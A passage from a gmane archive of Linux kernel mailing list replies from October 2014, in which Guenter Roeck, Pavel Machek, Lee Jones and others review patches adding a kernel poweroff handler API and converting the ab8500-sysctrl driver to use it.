 linux-xtensa@linux-xtensa.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, lguest@lists.ozlabs.org,
 linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, Alexander Graf <agraf@suse.de>,
 linux-acpi@vger.kernel.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 xen-devel@lists.xenproject.org, devicetree@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-pm@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-m68k@lists.linux-m68k.org,
 linux-am33-list@redhat.com, linux-tegra@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net, linux-metag@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.or
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Oct 09 17:38:49 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from fraxinus.osuosl.org ([140.211.166.137])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XcFnj-0002qT-VJ
	for glddd-devel@m.gmane.org; Thu, 09 Oct 2014 17:38:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 0B966A286F;
	Thu,  9 Oct 2014 15:38:47 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DdgpI0kXcqjp; Thu,  9 Oct 2014 15:38:45 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id A2E80A27E5;
	Thu,  9 Oct 2014 15:38:45 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (hemlock.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 41C221C22C0
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 15:38:44 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 3A2D795B3D
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 15:38:44 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id oir-DpqoNU5B for <devel@linuxdriverproject.org>;
 Thu,  9 Oct 2014 15:38:43 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-yk0-f171.google.com (mail-yk0-f171.google.com
 [209.85.160.171])
 by hemlock.osuosl.org (Postfix) with ESMTPS id 9750995B0A
 for <devel@driverdev.osuosl.org>; Thu,  9 Oct 2014 15:38:43 +0000 (UTC)
Original-Received: by mail-yk0-f171.google.com with SMTP id 79so805373ykr.2
 for <devel@driverdev.osuosl.org>; Thu, 09 Oct 2014 08:38:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-type:content-disposition:in-reply-to:user-agent;
 bh=0k/N24PcUBe9iG10NtBv929oRNel0z3lrcVo0Ih+L1Y=;
 b=rRmkaEPZRlnBYtmJ2smsj71zw1hFtgU7w9KOwCZaiuc7JKOyrP2B2W6vE5p4G6+UP7
 mKv6/4TV1579tLsk0A2qbf/x6NIX6zvyNNvdLAZ9tFEGoCklFy2V3E9zwJpYpn5TPkYi
 5INOaXNP0tXOJxdATJQiSyns6YnoVGtV9PU1mPmXlIuG9TAMP7F2N9a36ojQeeebudJI
 BEo6XPfxRpvda8J+9BFLVnbgt6NYJWqZuWwLkc7U0ys419w7Wqad0hzKgF6y9CkItbsq
 h+ANcMeOqYevTBaoYBOHq7kZfi1NpwE1wz1rYllnLVwKd4z161XajBpD3Zyoci0MfWlm
 1gsA==
X-Received: by 10.70.103.139 with SMTP id fw11mr518450pdb.64.1412869122756;
 Thu, 09 Oct 2014 08:38:42 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net.
 [108.223.40.66])
 by mx.google.com with ESMTPSA id yw3sm845932pbc.88.2014.10.09.08.38.41
 for <multiple recipients>
 (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
 Thu, 09 Oct 2014 08:38:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20141009103143.GA6787@amd>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58691 gmane.linux.ports.mips.general:44296 gmane.linux.kernel.efi:4801 gmane.linux.ports.ia64:24548 gmane.linux.kernel.virtualization.lguest:1527 gmane.linux.ports.hexagon:859 gmane.linux.ports.sh.devel:39922 gmane.linux.acpi.devel:71367 gmane.linux.drivers.devicetree:93598 gmane.linux.uml.devel:14732 gmane.linux.power-management.general:50791 gmane.linux.ports.tegra:19577 gmane.linux.kernel.openipmi:2518 gmane.linux.kernel.metag:379 gmane.linux.ports.arm.kernel:363051 gmane.linux.ports.parisc:6164 gmane.linux.kernel:1804382 gmane.linux.ports.alpha:2512 gmane.linux.ports.ppc64.devel:106044
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58691>

On Thu, Oct 09, 2014 at 12:31:43PM +0200, Pavel Machek wrote:
> Hi!
> 
> > +/**
> > + *	register_poweroff_handler_simple - Register function to be called to power off
> > + *					   the system
> > + *	@handler:	Function to be called to power off the system
> > + *	@priority:	Handler priority. For priority guidelines see
> > + *			register_poweroff_handler.
> > + *
> > + *	This is a simplified version of register_poweroff_handler. It does not
> > + *	take a notifier as argument, but a function pointer. The function
> > + *	registers a poweroff handler with specified priority. Poweroff
> > + *	handlers registered with this function can not be unregistered,
> > + *	and only a single poweroff handler can be installed using it.
> > + *
> > + *	This function must not be called from modules and is therefore
> > + *	not exported.
> > + *
> > + *	Returns -EBUSY if a poweroff handler has already been registered
> > + *	using register_poweroff_handler_simple. Otherwise returns zero,
> > + *	since atomic_notifier_chain_register() currently always returns zero.
> > + */
> > +int register_poweroff_handler_simple(void (*handler)(void), int priority)
> > +{
> > +	char symname[KSYM_NAME_LEN];
> > +
> > +	if (poweroff_handler_data.handler) {
> > +		lookup_symbol_name((unsigned long)poweroff_handler_data.handler,
> > +				   symname);
> > +		pr_warn("Poweroff function already registered (%s)", symname);
> > +		lookup_symbol_name((unsigned long)handler, symname);
> > +		pr_cont(", cannot register %s\n", symname);
> > +		return -EBUSY;
> > +	}
> 
> Dunno, are you maybe overdoing the debugging infrastructure a bit?
> This is not going to happen in production, and if it does happen,
> developer can look the symbol name himself.

On the other side, I don't think it hurts to have that message.
Anyway, I'll use %ps as suggested by Geert.

Guenter

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.acpi.devel,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Thu, 9 Oct 2014 08:45:15 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20141009154515.GB31987@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-13-git-send-email-linux@roeck-us.net>
 <20141007080048.GB25331@lee--X1>
 <20141009103656.GF17836@e104818-lin.cambridge.arm.com>
 <20141009104927.GN20647@lee--X1> <54368D16.40404@roeck-us.net>
 <20141009133355.GQ20647@lee--X1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412869537 7856 80.91.229.3 (9 Oct 2014 15:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 15:45:37 +0000 (UTC)
Cc: "linux-m32r-ja@ml.linux-m32r.org" <linux-m32r-ja@ml.linux-m32r.org>,
 "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
 "linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
 "linux-efi@vger.kernel.org" <linux-efi@vger.kernel.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Linus Walleij <linus.walleij@linaro.org>,
 "devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
 "devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "lguest@lists.ozlabs.org" <lguest@lists.ozlabs.org>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
 "linux-acpi@vger.kernel.org" <linux-acpi@vger.kernel.org>,
 "xen-devel@lists.xenproje
To: Lee Jones <lee.jones@linaro.org>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Thu Oct 09 17:45:27 2014
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from fraxinus.osuosl.org ([140.211.166.137])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1XcFu7-0005pv-RW
	for glddd-devel@m.gmane.org; Thu, 09 Oct 2014 17:45:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 25EA9A2677;
	Thu,  9 Oct 2014 15:45:23 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 72dmC0TpysDY; Thu,  9 Oct 2014 15:45:22 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id B5ACFA260E;
	Thu,  9 Oct 2014 15:45:22 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from silver.osuosl.org (silver.osuosl.org [140.211.166.136])
 by ash.osuosl.org (Postfix) with ESMTP id 3F4141C22C0
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 15:45:22 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by silver.osuosl.org (Postfix) with ESMTP id 233FC32A85
 for <devel@linuxdriverproject.org>; Thu,  9 Oct 2014 15:45:22 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id jDlVbzwiWd-n for <devel@linuxdriverproject.org>;
 Thu,  9 Oct 2014 15:45:21 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-oi0-f47.google.com (mail-oi0-f47.google.com
 [209.85.218.47])
 by silver.osuosl.org (Postfix) with ESMTPS id 5936D3157E
 for <devel@driverdev.osuosl.org>; Thu,  9 Oct 2014 15:45:21 +0000 (UTC)
Original-Received: by mail-oi0-f47.google.com with SMTP id a141so3495632oig.34
 for <devel@driverdev.osuosl.org>; Thu, 09 Oct 2014 08:45:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-type:content-disposition:in-reply-to:user-agent;
 bh=4eIxMi56Qx395xF6i1ZJJ06CAEoCKtzjsOOfm6px7Og=;
 b=u+3eovar+KmWaFVC9lG3lkLtq/pTW2yOhv9rOY31R3SVeXnCUxdhKIvstExL/A1NFI
 tBJQwX29iYGr54NpDzaOVU9HDj4a1ElKUFqaQV9m01sl0lAsge3eqsApa8SdN7CljbFF
 FFqoYgFykGGu5XzZUkwjE+l8hBh8G3ywLQ5DQ0+AXKbHvNKq37EnyfrM8rc45gPZ04ES
 bFTPHmBo3uuwKFNQ0kj0YLYl5Un4wzztLXHevmbNokokQeg/Q/S+RPQ5E1XDcY6xLdAV
 BocWTKzC0hf+7Q58hKjrcRfXnWu/FgdhaesjBmJP+iGMbHn804a2Yi/gUCFsraMUMI1R
 IqIQ==
X-Received: by 10.68.215.67 with SMTP id og3mr636738pbc.30.1412869520469;
 Thu, 09 Oct 2014 08:45:20 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net.
 [108.223.40.66])
 by mx.google.com with ESMTPSA id cl1sm15338pbb.92.2014.10.09.08.45.19
 for <multiple recipients>
 (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
 Thu, 09 Oct 2014 08:45:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20141009133355.GQ20647@lee--X1>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:58692 gmane.linux.ports.mips.general:44297 gmane.linux.ports.m68k:6288 gmane.linux.kernel.efi:4802 gmane.linux.ports.ia64:24549 gmane.linux.ports.sh.devel:39923 gmane.linux.drivers.devicetree:93599 gmane.linux.kernel.virtualization.lguest:1528 gmane.linux.ports.hexagon:860 gmane.linux.acpi.devel:71368 gmane.linux.uml.devel:14733 gmane.linux.power-management.general:50792 gmane.linux.ports.tegra:19578 gmane.linux.kernel.openipmi:2519 gmane.linux.kernel.metag:380 gmane.linux.ports.arm.kernel:363052 gmane.linux.ports.parisc:6165 gmane.linux.kernel:1804384 gmane.linux.ports.alpha:2513 gmane.linux.ports.ppc64.devel:106045
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/58692>

On Thu, Oct 09, 2014 at 02:33:55PM +0100, Lee Jones wrote:
> On Thu, 09 Oct 2014, Guenter Roeck wrote:
> 
> > On 10/09/2014 03:49 AM, Lee Jones wrote:
> > >On Thu, 09 Oct 2014, Catalin Marinas wrote:
> > >
> > >>On Tue, Oct 07, 2014 at 09:00:48AM +0100, Lee Jones wrote:
> > >>>On Mon, 06 Oct 2014, Guenter Roeck wrote:
> > >>>>--- a/drivers/mfd/ab8500-sysctrl.c
> > >>>>+++ b/drivers/mfd/ab8500-sysctrl.c
> > >>>>@@ -6,6 +6,7 @@
> > >>>
> > >>>[...]
> > >>>
> > >>>>+static int ab8500_power_off(struct notifier_block *this, unsigned long unused1,
> > >>>>+			    void *unused2)
> > >>>>  {
> > >>>>  	sigset_t old;
> > >>>>  	sigset_t all;
> > >>>>@@ -34,11 +36,6 @@ static void ab8500_power_off(void)
> > >>>>  	struct power_supply *psy;
> > >>>>  	int ret;
> > >>>>
> > >>>>-	if (sysctrl_dev == NULL) {
> > >>>>-		pr_err("%s: sysctrl not initialized\n", __func__);
> > >>>>-		return;
> > >>>>-	}
> > >>>
> > >>>Can you explain the purpose of this change please?
> > >>
> > >>I guess it's because the sysctrl_dev is already initialised when
> > >>registering the power_off handler, so there isn't a way to call the
> > >>above function with a NULL sysctrl_dev. Probably even with the original
> > >>code you didn't need this check (after some race fix in
> > >>ab8500_sysctrl_remove but races is one of the things Guenter's patches
> > >>try to address).
> > >
> > >Sounds reasonable, although I think this change should be part of
> > >another patch.
> > >
> > Sure, no problem. I'll split this into two patches.
> > 
> > Since we are at it, any idea what to do with the restart function
> > in the same file ? It is not used anywhere.
> 
> You can strip it out with Linus Walleij's Ack.  Or I'll be happy to do
> it?
> 
I'll strip it out in a 3rd patch.

Guenter

From - Thu Nov 08 21:10:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.m68k,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Thu, 9 Oct 2014 08:54:04 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20141009155404.GC31987@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-13-git-send-email-linux@roeck-us.net>
 <20141007080048.GB25331@lee--X1>
 <20141009103656.GF17836@e104818-lin.cambridge.arm.com>
 <20141009104927.GN20647@lee--X1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412870064 15021 80.91.229.3 (9 Oct 2014 15:54:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 15:54:24 +0000 (UTC)
Cc: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>,
	"linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org" <linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org>,
	"linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	Linus Walleij <linus.walleij-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>,
	"devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org" <devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org" <lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org" <xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org>,
	"devicetree
To: Lee Jones <lee.jones-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 09 17:54:14 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XcG2f-0008M0-Km
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 09 Oct 2014 17:54:13 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751340AbaJIPyM (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Thu, 9 Oct 2014 11:54:12 -0400
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]:45836 "EHLO
	mail-pa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751975AbaJIPyK (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 9 Oct 2014 11:54:10 -0400
Original-Received: by mail-pa0-f45.google.com with SMTP id rd3so11021pab.32
        for <multiple recipients>; Thu, 09 Oct 2014 08:54:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=yTHPn6FXE9DCZLPDU0xnaAN7oKKZ0p3HDnJX2zJudGk=;
        b=a8hdupblssG+OYy2DtvfEv1Vq+JRlB3PoxRYDmE/CJ1tsmvGfHN0RGLImT80BVJFHm
         q1gbyW+BRFVKRsdsErApbeYGJU/E2WCPnZ3M1TJGAvcCcilrM1xiIstXEjJEIeumeZou
         W8AJn3rYi0UfUL7KV3kFJaTqdzP4r+aNORpaWq4YgA/P9dHjb56VxMUyerQYA8fFvIaY
         VG5FDpelavOY4fwSgrYqqxTDKrMtlw4ZSTMa9yg4yBun+v/9uO64yBBFjb+Jek5Q7tf7
         m13jnF0bscDjGj8Qd4zOa7IH/6DWBdBLQe18mbd3ca1zkjzFYrDSKvDsC1siSQfVJKsO
         T5GA==
X-Received: by 10.70.95.104 with SMTP id dj8mr567497pdb.84.1412870049428;
        Thu, 09 Oct 2014 08:54:09 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id od12sm852957pdb.96.2014.10.09.08.54.08
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Thu, 09 Oct 2014 08:54:08 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20141009104927.GN20647@lee--X1>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4803 gmane.linux.ports.mips.general:44298 gmane.linux.ports.ia64:24550 gmane.linux.kernel.virtualization.lguest:1529 gmane.linux.ports.hexagon:861 gmane.linux.ports.sh.devel:39924 gmane.linux.acpi.devel:71369 gmane.linux.drivers.devicetree:93600 gmane.linux.uml.devel:14734 gmane.linux.power-management.general:50793 gmane.linux.ports.m68k:6289 gmane.linux.ports.tegra:19579 gmane.linux.kernel.openipmi:2520 gmane.linux.kernel.metag:381 gmane.linux.ports.arm.kernel:363053 gmane.linux.ports.parisc:6166 gmane.linux.kernel:1804388 gmane.linux.ports.alpha:2514 gmane.linux.ports.ppc64.devel:106046
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4803>

On Thu, Oct 09, 2014 at 11:49:27AM +0100, Lee Jones wrote:
> On Thu, 09 Oct 2014, Catalin Marinas wrote:
> 
> > On Tue, Oct 07, 2014 at 09:00:48AM +0100, Lee Jones wrote:
> > > On Mon, 06 Oct 2014, Guenter Roeck wrote:
> > > > --- a/drivers/mfd/ab8500-sysctrl.c
> > > > +++ b/drivers/mfd/ab8500-sysctrl.c
> > > > @@ -6,6 +6,7 @@
> > > 
> > > [...]
> > > 
> > > > +static int ab8500_power_off(struct notifier_block *this, unsigned long unused1,
> > > > +			    void *unused2)
> > > >  {
> > > >  	sigset_t old;
> > > >  	sigset_t all;
> > > > @@ -34,11 +36,6 @@ static void ab8500_power_off(void)
> > > >  	struct power_supply *psy;
> > > >  	int ret;
> > > >  
> > > > -	if (sysctrl_dev == NULL) {
> > > > -		pr_err("%s: sysctrl not initialized\n", __func__);
> > > > -		return;
> > > > -	}
> > > 
> > > Can you explain the purpose of this change please?
> > 
> > I guess it's because the sysctrl_dev is already initialised when
> > registering the power_off handler, so there isn't a way to call the
> > above function with a NULL sysctrl_dev. Probably even with the original
> > code you didn't need this check (after some race fix in
> > ab8500_sysctrl_remove but races is one of the things Guenter's patches
> > try to address).
> 
> Sounds reasonable, although I think this change should be part of
> another patch.
> 
Turns out the options are to either drop the check or to use the device
managed function to register the poweroff handler. I decided to keep
the check and use the device managed function.

Guenter

From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pavel Machek <pavel@denx.de>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.efi,gmane.linux.ports.ia64,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.acpi.devel,gmane.linux.drivers.devicetree,gmane.linux.uml.devel,gmane.linux.power-management.general,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Thu, 9 Oct 2014 22:24:19 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20141009202419.GA16885@amd>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-9-git-send-email-linux@roeck-us.net>
 <20141009103847.GC6787@amd> <54368A30.9070101@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412886286 1869 80.91.229.3 (9 Oct 2014 20:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Oct 2014 20:24:46 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
 linux-efi@vger.kernel.org, linux-ia64@vger.kernel.org,
 Steven Miao <realmz6@gmail.com>, linux-xtensa@linux-xtensa.org,
